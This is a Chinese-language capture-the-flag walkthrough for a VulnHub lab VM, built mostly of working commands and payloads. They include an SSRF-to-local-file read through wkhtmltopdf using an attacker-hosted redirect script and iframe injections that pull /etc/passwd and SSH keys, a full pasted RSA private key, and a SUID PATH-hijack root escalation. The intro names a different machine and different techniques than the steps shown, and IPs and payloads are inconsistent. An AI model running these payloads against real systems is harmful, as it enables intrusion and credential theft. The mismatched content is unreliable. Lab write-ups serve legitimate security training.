靶机介绍

1)靶机地址:https://download.vulnhub.com/ha/narak.ova

2)靶机难度:中

3)打靶目标: 取得 root 权限 + 2 Flag

4)涉及攻击方法:主机发现、端口扫描、信息收集、密码字典定制、爆破密码、webdav漏洞、PUT方法上传、BF语言解码、MOTD注入、CVE-2021-3493提权

5)靶机简介:由于人脑的思维方式,我们不太能够记住毫无关联的一串字符组合,因此我们在设置自己帐号的密码时,通常还是会基于某些自己已知的信息,来变形组合形成自己的密码。因此在美剧《黑客军团》中,我们看到男主曾利用信息收集,生成某人的专属密码字典,并以此控制了对方的电子邮件。这种方法不仅适用于个人,对于企业系统往往也非常有效。本次打靶就会利用定制密码字典的方法,突破靶机的身份认证机制,并结合WEBDAV漏洞上传WEBSHELL,从而实现对目标靶机的边界突破。在本地提权阶段,使用两种方法。其中一种方法需要结合靶机的权限漏洞和某种小众编程语言的解码,才能最终完成。

6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机

打靶过程

1)主机发现

# arp-scan -l

2)全端口扫描

# nmap -p- 172.24.10.133

3)服务版本扫描

# nmap -p1337,3306 -sC -sV 172.24.10.133

4)通过浏览器访问靶机的80端口,返回的是一个test2的文件列表,打开test2返回的是如下的页面

​ 根据页面提示可知,该网站主要用来给员工查看自己的配置文件,也支持将配置文件导出,且该CMS是使用开源的项目进行搭建,并且给出了开源项目的地址。通过访问页面源代码也未发现有价值信息

​ 在打开页面时,浏览器一直在加载页面资源,可通过burp查看,具体是哪个资源没有请求成功,导致浏览器一直处于加载状态

​ 默认情况下,加载jpg、png、css、js文件时,是不会截断的,此处将勾选去掉,使的burp同样支持这些资源的阶段。同时拦截返回的数据包

5)通过在burp抓取数据包,发现该网站请求了google上的一个js文件,因国内无法直接访问google,导致页面处于加载中

6)在本机启动clash代理(会在本地监听一个7891端口),将服务器的请求,通过Burp发送到代理

此时可将所有的页面资源全部加载出来,同时可点击页面右上方的Login按钮

7)打开页面提示的开源CMS项目所在的github的地址,在其中的install.php中找到了一个用户名admin和密码1234

地址:https://github.com/mihai-vlc/master-login-system

8)通过默认的用户名和密码在web页面登录,发现可以正常登录

页面返回welcome admin说明已经登录成功,在左上角出现一个admin的选项,该选项点击后选择profile,可查看admin用户的配置信息以及可以进行修改

9)在Edit profile中对admin用户的邮箱地址进行修改,提交后,发现会将邮箱地址,原样的显示到页面上

根据该显示可猜测此处是否存在XSS漏洞(当从客户端提交什么样的内容,那么服务端就会原样的返回)。通过多次测试发现,在邮箱中提交js代码,会进行过滤,但是在Display name中提交js代码,不会进行过滤

通过上述测试,确定存在XSS漏洞,且返回弹窗后,在URL中出现一个参数,对其进行SQL注入测试

http://172.24.10.133/test2/profile.php?u=1'
http://172.24.10.133/test2/profile.php?u=1' and 1=1 --
http://172.24.10.133/test2/profile.php?u=1' and 1=2 --

通过测试,发现此处并不存在SQL注入

10)对目标靶机web进行路径爬取

# dirsearch -u http://172.24.10.133

访问扫描出的页面,发现只是一个apache的页面,在该页面无可利用的有价值信息

11)返回登录页面,继续进行信息搜集,发现一个导出配置的功能,可将当前admin用户的配置信息导出

  1. 已下载的配置文件pdf不会对打靶有任何的帮助,但是查看该文档属性时,可以看到该pdf文件是由服务端的wkhtmltopdf组件生成的。(即将html文件信息->转化为pdf文件)

通过搜索发现wkhtmltopdf组件是一个命令行的工具,且存在一个文件包含漏洞

通过wkhtmltopdf组件可以读取或者加载网络上或着本地的资源及元数据信息

13)尝试在第九步中的display name中输入ifname标签,读取本地文件信息

<ifname src="file:///etc/passwd"></ifname>

返回首页后,无任何信息变化

13)尝试在第九步中的display name中输入ifname标签,读取网络资源信息

①现在kali主机启动httpd服务

# systemctl restart apache2
# echo test123 > /var/www/html/test.txt

②在web系统修改admin的配置信息从,插入payload

此处在首页面可查看到返回的信息,确认此处存在SSRF漏洞

14)参考如下文档,发现,需要现在攻击者的web服务器中防放置一个php的代码,然后再在目标靶机的web系统中(第九步)引用,让这段php代码在靶机中去执行,执行完成后,就可以读取靶机本地的文件

参考链接:http://hassankhanyusufzai.com/SSRF-to-LFI/

①先在kali主机生成文件

# cat /var/www/html/payload.php
<?php header('location:file://'.$_REQUEST['url']); ?>

②在目标靶机的web系统中(第九步)通过payload.php的url参数查看本地文件信息。保存配置

<ifname src="http://172.24.10.131/payload.php?url=/etc/passwd"  height=800 width=4000></ifname>

③导出配置时才会激活wkhtmltopdf组件,查看pdf文件,发现已经可以查看到/etc/passwd的信息,SSRF漏洞利用成功

④通过检查发现,存在一个可供登录的普通用户gemini1

注:通过测试发现,该漏洞只能实现文件的读取,不能实现命令执行

15)通过在github查看CMS源代码,发现存在一个setting.php文件,该文件中存在数据库的配置信息

16)通过SSRF漏洞,查看靶机web系统的数据库信息

<iframe src="172.24.10.131?url=/var/www/html/test2/inc/settings.php" height="2000" width="800"></iframe>

上述源码信息,对突破边界并没有实际的作用

17)通过用户文件可知靶机存在gemini1用户,并可知该用户的家目录,通过SSRF漏洞,查看该用户是否使用了ssh公钥身份认证信息,如果使用了公钥身份认证,那么就会存在/home/gemini1/.ssh/id_rsa文件或者/home/gemini1/.ssh/id_rsa.pub文件,及authorized_keys文件,那么就可以通过获取私钥,登录目标服务器

<iframe  src="http://172.24.10.131/payload.php?url=/home/gemini1/.ssh/id_rsa" height="2000" width="800"></iframe>

①将上述文件输入至第13步的display标签中,保存成功,再将配置文件导出,生成的配置文件中包含了id_rsa。说明在目标靶机存在ssh的公钥和私钥信息

②查看目标服务器是否存在authorized_keys文件,如果文件存在,且该文件内容和公钥文件内容一致,即该公私可完成基于密钥的ssh认证登录。

<iframe  src="http://172.24.10.131/payload.php?url=/home/gemini1/.ssh/authorized_keys" height="2000" width="800"></iframe>

③结果显示,该authorized_keys文件存在,说明目标靶机是允许某个账号通过公钥登录目标靶机。查看公钥文件内容

<iframe  src="http://172.24.10.131/payload.php?url=/home/gemini1/.ssh/id_rsa.pub" height="2000" width="800"></iframe>

④发现公钥文件id_rsa.pub内容和authorized_keys文件内容一致,说明即可通过账号gemini1,和私钥远程登陆只目标靶机。先将私钥保存至kali主机

# cat id_rsa 
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs
6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u
Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V
u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z
DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p
oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY
WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD
eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM
QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ
rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR
MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn
1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI
xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC
1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY
AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl
aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu
968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9
r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco
tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7
WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp
U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk
SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h
JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh
vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt
j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k=
-----END RSA PRIVATE KEY-----
# chmod 400 id_rsa
# ssh -i id_rsa gemini1@172.24.10.134

18)对目标靶机进行信息搜集:查看内核版本、sudo权限配置,均无法成功提权

19)查看属主为root,且存在suid权限及可执行权限的文件

$ find / -user root -type f -perm -u+sx -ls 2>/dev/null

①根据上图显示,存在一个listinfo的文件,查看文件类型发现是一个可执行文件,且该文件执行后,会显示一些系统命令的输出信息

$ file /usr/bin/listinfo
$ /usr/bin/listinfo

②利用strings命令打印/usr/bin/listinfo文件中可打印的字符串,发现上述输出信息,都是调用的系统命令来执行

20)ifconfig、netstat命令都使用了绝对绝对路径,但是date命令使用的是环境变量调用,所以可以在本地编译一段提权代码,修改文件名为date,再修改环境变量。最后执行/usr/bin/listinfo来获取到root权限

①编辑提权代码

$ cat date.c 
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(){
  setuid(0);
  setgid(0);
  system("/bin/bash");
}

②将C语言代码进行编译

$ gcc date.c -o date
$ ls -l date
-rwxr-xr-x 1 gemini1 gemini1 8736 Mar  3 08:52 date

③修改环境变量,使得/usr/bin/listinfo执行时,优先使用/home/gemini1路径下的date命令

$ pwd
/home/gemini1
$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
$ export PATH=/home/gemini1:$PATH
$ /usr/bin/listinfo

④执行/usr/bin/listinfo命令。提权,获取到flag

$ /usr/bin/listinfo